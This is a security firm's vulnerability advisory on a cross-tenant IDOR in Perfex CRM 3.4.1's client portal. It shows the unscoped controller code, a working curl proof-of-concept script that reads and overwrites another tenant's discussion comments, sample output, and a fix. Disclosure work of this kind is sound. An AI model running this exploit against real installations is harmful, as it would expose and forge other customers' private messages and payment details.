Bytium® Security-first

← Insights |

Perfex CRM 3.4.1 Cross-Tenant IDOR Vulnerability

B Bytium Operators
Apr 18, 2026 • 4 min read

Key facts

Vendor / Product	Perfex / Perfex CRM (commercial, CodeCanyon)
Affected version	3.4.1 — very likely every earlier 3.x build that shares the same handler
Vulnerability class	Cross-tenant Insecure Direct Object Reference (IDOR)
CWE	CWE-639 (Authorization Bypass Through User-Controlled Key); CWE-284 (Improper Access Control)
CVSS 3.1	`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L` — 8.1 High
Authentication required	Any authenticated client-portal user with the `projects` permission and one project of their own
Primitives	Cross-tenant **read**, **update**, **delete**, and **insert** on `tblprojectdiscussioncomments`
Affected file	`application/controllers/Clients.php::Clients::project()` and four methods in `application/models/Projects_model.php`
Fix complexity	Low — re-scope each action to the current project's `clientid`

Perfex CRM's client portal is tenant-aware: Customer A must never see or touch Customer B's data. One controller, `Clients::project($id)`, checks tenancy on the project ID in the URL,

but forgets to check it on the `discussion_id` and comment `id` that arrive in the POST body. So any authenticated client — using their own project URL — can read, modify, delete, or inject discussion comments in any other tenant's projects, just by putting that tenant's integer IDs in the request body. IDs are auto-incremented, so enumeration is trivial.

How the bug works

`application/controllers/Clients.php::project()` is the client-portal project handler. It correctly scopes the URL `$id`:

```
$project = $this->projects_model->get($id, [
    'clientid' => get_client_user_id(),   // ✓ outer gate — works
]);
if (!$project) { show_404(); }
```

…but then it dispatches on a POST `action` field, and four of those actions pass the inner IDs straight to the model without re-scoping:

```
case 'discussion_comments':
    echo json_encode($this->projects_model->get_discussion_comments(
        $this->input->post('discussion_id'),   // ✗ no tenancy check
        $this->input->post('discussion_type')
    ));

case 'update_discussion_comment':           // ✗ same problem with id
case 'delete_discussion_comment':           // ✗ same problem with id
case 'new_discussion_comment':              // ✗ same problem with discussion_id
```

And the model methods they call (`get_discussion_comments`, `update_discussion_comment`, `delete_discussion_comment`, `add_discussion_comment`) just run the query on whichever integer they receive. No `JOIN` to `tblprojectdiscussions`, no ownership filter, nothing. That's the whole bug.

The outer gate looks like it protects everything because the URL is the obvious entry point. It doesn't — the POST body carries a second primary key into the same tenant-sensitive table, and nobody checks it.

Reproduction

Needs two client-portal accounts on a stock Perfex 3.4.1 install — the normal customer-onboarding workflow. For the walkthrough:

Attacker (Alice)Victim (Bob)Portal login `alice@example.com` / `ClientPass1!bob@example.com` / `ClientPass2!` Owns project id `12` Has a discussion on that project `id=1id=2`

1. Bob uses the product normally

Bob logs in, opens his own project discussion, posts a comment through the UI:

> *"Confidential: please send the Q2 payment to account BOB-9988-7766"*

2. Alice runs `proof.sh`

```
#!/usr/bin/env bash
set -e
BASE=http://localhost:8090
JAR=$(mktemp); trap 'rm -f "$JAR"' EXIT

# Log in as Alice
TOK=$(curl -s -c "$JAR" "$BASE/authentication/login" \
  | grep -oE 'csrf_token_name" value="[^"]*"' | sed 's/.*value="//;s/"//')
curl -s -c "$JAR" -b "$JAR" -o /dev/null -X POST "$BASE/authentication/login" \
  --data-urlencode "csrf_token_name=$TOK" \
  --data-urlencode "email=alice@example.com" \
  --data-urlencode "password=ClientPass1!"

# Fresh CSRF token from Alice's own project page
TOK=$(curl -s -b "$JAR" "$BASE/clients/project/1" \
  | grep -oE '"[a-f0-9]{32}"' | head -1 | tr -d '"')

# Read Bob's private comment (discussion_id=2)
curl -s -b "$JAR" -H "X-Requested-With: XMLHttpRequest" \
  -X POST "$BASE/clients/project/1" \
  --data-urlencode "csrf_token_name=$TOK" \
  --data-urlencode "action=discussion_comments" \
  --data-urlencode "discussion_id=2" \
  --data-urlencode "discussion_type=regular"

# Overwrite Bob's comment (id=1)
curl -s -b "$JAR" -H "X-Requested-With: XMLHttpRequest" \
  -X POST "$BASE/clients/project/1" \
```

```
        --data-urlencode "csrf_token_name=$TOK" \
        --data-urlencode "action=update_discussion_comment" \
        --data-urlencode "id=1" \
        --data-urlencode "content=HACKED BY ALICE - cross tenant write"
```

The read returns Bob's comment JSON. The update returns HTTP 200 with the rewritten row — `content` is attacker-controlled, but `fullname` and `contact_id` still say Bob.

```
[redacted] bash poc.sh

============================================================
STEP 1 - Alice READS Bob's private comment (discussion_id=2)
============================================================
[
    {
        "id": "1",
        "discussion_id": "2",
        "discussion_type": "regular",
        "parent": null,
        "created": 1776516679000,
        "modified": 1776521536000,
        "content": "Test IDOR",
        "staff_id": "0",
        "contact_id": "2",
        "fullname": "Bob Two",
        "file_name": null,
        "file_mime_type": null,
        "created_by_current_user": false,
        "profile_picture_url": "http://localhost:8090/assets/images/user-placeholder.jpg"
    }
]

============================================================
STEP 2 - Alice OVERWRITES Bob's comment id=1
============================================================
{"id":"1","discussion_id":"2","discussion_type":"regular","parent":null,"created":1776516679000,"modified":1776521594000,"
content":"IDOR Proof - cross tenant write","staff_id":"0","contact_id":"2","fullname":"Bob Two","file_name":null,"file_mim
e_type":null,"created_by_current_user":false,"profile_picture_url":"http:\/\/localhost:8090\/assets\/images\/user-placehol
der.jpg"}
HTTP 200

============================================================
STEP 3 - Database state after attack
============================================================
id      discussion_id   content fullname        modified
1       2       IDOR Proof - cross tenant write Bob Two 2026-04-18 14:13:14
```

3. Bob refreshes his tab

Bob reloads his discussion and sees "IDOR Proof - cross tenant write"* attributed to himself. His own name, his own timestamp, content he never wrote.

The same pattern gives delete (`action=delete_discussion_comment`, `id=<N>`) and insert (`action=new_discussion_comment` with arbitrary `discussion_id`). A full four-action reproducer is included in the advisory bundle as `poc.sh`.

Impact

Project discussions are the most sensitive free-text surface in most Perfex deployments — credentials pasted by mistake, billing negotiations, contract terms, internal staff notes. This bug turns that surface into a shared resource across every tenant on the install.

Concretely, any authenticated client can:

- **Read** every other tenant's discussion content by iterating `discussion_id` from 1 upward.
- **Rewrite** any comment body (including staff messages) while the UI keeps showing the original author's name and timestamp — a clean gaslighting / social-engineering primitive.
- **Delete** individual comments, destroying the audit trail.
- **Insert** forged comments into any tenant's thread — useful for planting fake "please switch payment to this IBAN" messages.

For Perfex operators running multi-tenant client portals (MSPs, agencies, white-label resellers), a single paying customer can silently harvest or sabotage every other customer on the same installation.

Not an admin-account takeover path on its own — CodeIgniter's built-in `global_xss_filtering` neutralises the obvious stored-XSS pivot (tested against common payloads). The finding is strictly cross-tenant content access, not privilege escalation.

Fix

Validate that the referenced discussion belongs to a project owned by the current client before invoking any of the four model methods. The helper `Projects_model::get_discussion($id, $project_id)` already exists and accepts a `project_id` — it simply isn't called from these actions. One example:

```
case 'update_discussion_comment':
    $comment = $this->projects_model->get_discussion_comment(
        (int) $this->input->post('id')
    );
    if (!$comment) { show_404(); }
    $discussion = $this->projects_model->get_discussion(
        $comment->discussion_id,
        $project->id      // already scoped to get_client_user_id()
    );
    if (!$discussion) { show_404(); }
    echo json_encode($this->projects_model->update_discussion_comment($this->input->pos
```

```
        die;
```

Same pattern for the other three actions. Fail closed if the referenced discussion can't be resolved under the current client's project.

Credit

Discovered and reported by **Jobyer Ahmed — Offensive Security Research, Founder,** Bytium.

References

- CWE-639 — https://cwe.mitre.org/data/definitions/639.html
- CWE-284 — https://cwe.mitre.org/data/definitions/284.html
- CVSS 3.1 calculator — https://www.first.org/cvss/calculator/3.1

Part of Bytium's ongoing work on multi-tenant SaaS security. If you run Perfex CRM 3.x in a shared-tenant configuration, update as soon as a patched build ships; in the interim, restrict the `projects` *contact permission to contacts that genuinely need it.*

B

Bytium Operators

KEEP READING

Related insights

View all →

Apr 18, 2026 • 5 min read

Blind SQL Injection in Perfex CRM 3.4.1

Perfex CRM 3.4.1 pastes the `sort_by` request parameter directly into an ORDER BY clause with CodeIgniter's identifier escaping disabled. Any staff account — admin flag not required, zero role permissions is enough — can exploit this blind time-based SQL injection to read the entire application database, including the bcrypt-wrapped phpass hashes in `tblstaff.password`.

Apr 14, 2026 • 4 min read

Introducing Bytium Active: Digital Presence Health for Your Business

Bytium Active is a continuous monitoring product that watches the state of your business online — what's exposed, what's expiring, what looks broken, and what you'll need when a customer or insurer asks. Here's why we built it, what it does today, and what's coming next.

PRODUCT ANNOUNCEMENTS SECURITY

Jan 10, 2026 • 4 min read

Security Isn't a Task. It's a System

Most organizations don't fail at security because they don't care. They fail because security is treated as something you do, not something you run.

SECURITY

NEED HELP?

Talk with Bytium

Share your goals and we'll shape the right testing, detection, or compliance plan.

Talk to security

Bytium®

Security-first, evidence-driven.

Bytium® delivers offensive security, security operations, compliance, and security-first expertise to help organizations understand risk and operate with confidence. Our work is grounded in real-world threat models and measurable security outcomes.

Ready to level up your security?

Talk to Bytium® operators about testing, detection, or compliance momentum.

Talk to security ↗ Client portal

COMPANY

About
Insights
Partners
Contact

SERVICES

Penetration testing
Vulnerability management
SOC & SIEM
ISO 27001

TRUST & LEGAL

Responsible disclosure
Privacy
Terms

PLATFORM

Portal overview
How we work

Privacy | Terms | Responsible disclosure | Privacy requests